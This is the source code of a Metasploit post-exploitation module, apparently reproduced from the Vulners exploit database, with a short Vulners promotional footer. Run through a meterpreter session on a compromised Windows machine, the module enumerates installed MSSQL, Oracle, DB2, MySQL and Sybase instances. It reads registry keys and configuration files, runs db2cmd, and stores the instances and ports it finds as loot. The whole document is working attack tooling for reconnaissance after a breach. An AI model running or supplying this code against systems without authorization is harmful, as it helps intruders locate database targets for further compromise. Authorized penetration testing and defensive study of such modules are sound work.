##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Registry
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Database Instance Enumeration',
'Description' => %q{ This module will enumerate a windows system for installed database instances },
'License' => MSF_LICENSE,
'Author' => [
'Barry Shteiman <barry[at]sectorix.com>', # Module author
'juan vazquez' # minor help
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_search
stdapi_sys_config_getenv
]
}
}
)
)
end
# method called when command run is issued
def run
results = []
print_status("Enumerating Databases on #{sysinfo['Computer']}")
if check_mssql
results += enumerate_mssql
end
if check_oracle
results += enumerate_oracle
end
if check_db2
results += enumerate_db2
end
if check_mysql
results += enumerate_mysql
end
if check_sybase
results += enumerate_sybase
end
if results.empty?
print_status('Done, No Databases were found')
return
end
print_status('Done, Databases Found.')
tbl = Rex::Text::Table.new(
'Header' => 'Installed Databases',
'Indent' => 1,
'Columns' =>
[
'Type',
'Instance',
'Database',
'Port'
]
)
results.each do |r|
report_service(host: session.sock.peerhost, port: r[3], name: r[0], info: "#{r[0]}, #{r[1]}")
tbl << r
end
print_line(tbl.to_s)
p = store_loot('host.databases', 'text/plain', session, tbl.to_s, 'databases.txt', 'Running Databases')
print_good("Results stored in: #{p}")
end
##### initial identification methods #####
# method for Checking if database instances are installed on host - mssql
def check_mssql
key = 'HKLM\\SOFTWARE\\Microsoft'
if registry_enumkeys(key).include?('Microsoft SQL Server')
print_status("\tMicrosoft SQL Server found.")
return true
end
return false
rescue StandardError
return false
end
# method for Checking if database instances are installed on host - oracle
def check_oracle
key = 'HKLM\\SOFTWARE\\Oracle'
if registry_enumkeys(key).include?('ALL_HOMES')
print_status("\tOracle Server found.")
return true
elsif registry_enumkeys(key).include?('SYSMAN')
print_status("\tOracle Server found.")
return true
elsif registry_enumkeys(key).include?('KEY_XE')
print_status("\tOracle Server found.")
return true
end
return false
rescue StandardError
return false
end
# method for Checking if database instances are installed on host - db2
def check_db2
key = 'HKLM\\SOFTWARE\\IBM\\DB2'
if registry_enumkeys(key).include?('GLOBAL_PROFILE')
print_status("\tDB2 Server found.")
return true
end
return false
rescue StandardError
return false
end
# method for Checking if database instances are installed on host - mysql
def check_mysql
key = 'HKLM\\SOFTWARE'
if registry_enumkeys(key).include?('MySQL AB')
print_status("\tMySQL Server found.")
return true
end
return false
rescue StandardError
return false
end
# method for Checking if database instances are installed on host - sybase
def check_sybase
key = 'HKLM\\SOFTWARE\\Sybase'
if registry_enumkeys(key).include?('SQLServer')
print_status("\tSybase Server found.")
return true
elsif registry_enumkeys(key).include?('Server')
print_status("\tSybase Server found.")
return true
end
return false
rescue StandardError
return false
end
##### deep analysis methods #####
# method to identify mssql instances
def enumerate_mssql
results = []
key = 'HKLM\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\Instance Names\\SQL'
instances = registry_enumvals(key)
if !instances.nil? && !instances.empty?
instances.each do |i|
tcpkey = "HKLM\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\#{registry_getvaldata(key, i)}\\MSSQLServer\\SuperSocketNetLib\\Tcp\\IPAll"
tcpport = registry_getvaldata(tcpkey, 'TcpPort')
print_good("\t\t+ #{registry_getvaldata(key, i)} (Port:#{tcpport})")
results << ['mssql', "instance:#{registry_getvaldata(key, i)} port:#{tcpport}", 'Microsoft SQL Server', tcpport]
end
end
return results
rescue StandardError
print_error("\t\t! could not identify information")
return results || []
end
# method to identify oracle instances
def enumerate_oracle
results = []
found_key = false
basekey_set = ['HKLM\\SOFTWARE\\Oracle\\SYSMAN', 'HKLM\\SOFTWARE\\ORACLE\\KEY_XE']
basekey_set.each do |basekey|
next if found_key
instances = registry_enumkeys(basekey)
if instances.nil? || instances.empty?
next
else
found_key = true
end
instances.each do |i|
if basekey.include? 'KEY_XE'
val_ORACLE_SID = registry_getvaldata(basekey, 'ORACLE_SID')
val_ORACLE_HOME = registry_getvaldata(basekey, 'ORACLE_HOME')
else
key = "#{basekey}\\#{i}"
val_ORACLE_SID = registry_getvaldata(key, 'ORACLE_SID')
val_ORACLE_HOME = registry_getvaldata(key, 'ORACLE_HOME')
end
if !exist?(val_ORACLE_HOME + '\\NETWORK\\ADMIN\\tnsnames.ora')
print_error("\t\t! #{val_ORACLE_SID} (No Listener Found)")
next
end
data_TNSNAMES = read_file(val_ORACLE_HOME + '\\NETWORK\\ADMIN\\tnsnames.ora')
if data_TNSNAMES =~ /PORT\ =\ (\d+)/
port = ::Regexp.last_match(1)
print_good("\t\t+ #{val_ORACLE_SID} (Port:#{port})")
results << [ 'oracle', "instance:#{val_ORACLE_SID} port:#{port}", 'Oracle Database Server', port ]
else
print_error("\t\t! #{val_ORACLE_SID} (No Listener Found)")
end
end
end
if !found_key
print_error("\t\t! Oracle instances not found")
end
return results
rescue StandardError
print_error("\t\t! could not identify information")
return results || []
end
# method to identify mysql instances
def enumerate_mysql
results = []
basekey = 'HKLM\\SOFTWARE\\MySQL AB'
instances = registry_enumkeys(basekey)
if instances.nil? || instances.empty?
return results
end
instances.each do |i|
key = "#{basekey}\\#{i}"
val_location = registry_getvaldata(key, 'Location')
data = find_mysql_conf(val_location)
if data && data =~ (/port=(\d+)/)
port = ::Regexp.last_match(1)
print_good("\t\t+ MYSQL (Port:#{port})")
results << ['mysql', "instance:MYSQL port:#{port}", 'MySQL Server', port]
else
print_error("\t\t! could not identify information")
end
end
return results
rescue StandardError
print_error("\t\t! could not identify information")
return results || []
end
# method to identify sybase instances
def enumerate_sybase
basekey = 'HKLM\\SOFTWARE\\Sybase\\SQLServer'
instance = registry_getvaldata(basekey, 'DSLISTEN')
location = registry_getvaldata(basekey, 'RootDir')
results = []
if !exist?(location + '\\ini\\sql.ini')
print_error("\t\t! could not locate configuration file.")
return results
end
data = read_file(location + '\\ini\\sql.ini')
if data =~ /\[#{instance}\]([^\[]*)/
segment = ::Regexp.last_match(1)
else
print_error("\t\t! couldnt locate information.")
return results
end
if segment =~ /master=\w+,[^,]+,(\d+)/
port = ::Regexp.last_match(1)
else
print_error("\t\t! couldnt locate information.")
return results
end
print_good("\t\t+ #{instance} (Port:#{port})")
results << [ 'sybase', "instance:#{instance} port:#{port}", 'Sybase SQL Server', port ]
return results
rescue StandardError
print_error("\t\t! couldnt locate information.")
return results || []
end
# method to identify db2 instances
def enumerate_db2
results = []
cmd_i = cmd_exec('db2cmd', '-i -w /c db2ilist')
cmd_p = cmd_exec('db2cmd', '-i -w /c db2 get dbm cfg')
if cmd_p =~ %r{\ ?TCP/IP\ Service\ name\ +\(SVCENAME\)\ =\ (\w+)}
port = ::Regexp.last_match(1)
else
print_error("\t\t! could not identify instances information")
return results
end
windir = session.sys.config.getenv('windir')
getfile = session.fs.file.search(windir + '\\system32\\drivers\\etc\\', 'services.*', recurse = true, timeout = -1)
data = nil
getfile.each do |file|
if exist?("#{file['path']}\\#{file['name']}")
data = read_file("#{file['path']}\\#{file['name']}")
break if !data.nil?
end
end
if data && data =~ (/#{port}[\ \t]+(\d+)/)
port_t = ::Regexp.last_match(1)
else
print_error("\t\t! could not identify instances information")
return results
end
cmd_i.split("\n").compact.each do |line|
stripped = line.strip
print_good("\t\t+ #{stripped} (Port:#{port_t})")
results << [ 'db2', "instance:#{stripped} port:#{port_t}", 'DB2 Server', port_t ]
end
return results
rescue StandardError
print_error("\t\t! could not identify instances information")
return results || []
end
##### helper methods #####
def find_mysql_conf(val_location)
data = nil
if exist?(val_location + '\\my.ini')
data = read_file(val_location + '\\my.ini')
elsif exist?(val_location + '\\my.cnf')
data = read_file(val_location + '\\my.cnf')
else
sysdriv = session.sys.config.getenv('SYSTEMDRIVE')
getfile = session.fs.file.search(sysdriv + '\\', 'my.ini', recurse = true, timeout = -1)
getfile.each do |file|
if exist?("#{file['path']}\\#{file['name']}")
data = read_file("#{file['path']}\\#{file['name']}")
break
end
end
end
return data
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation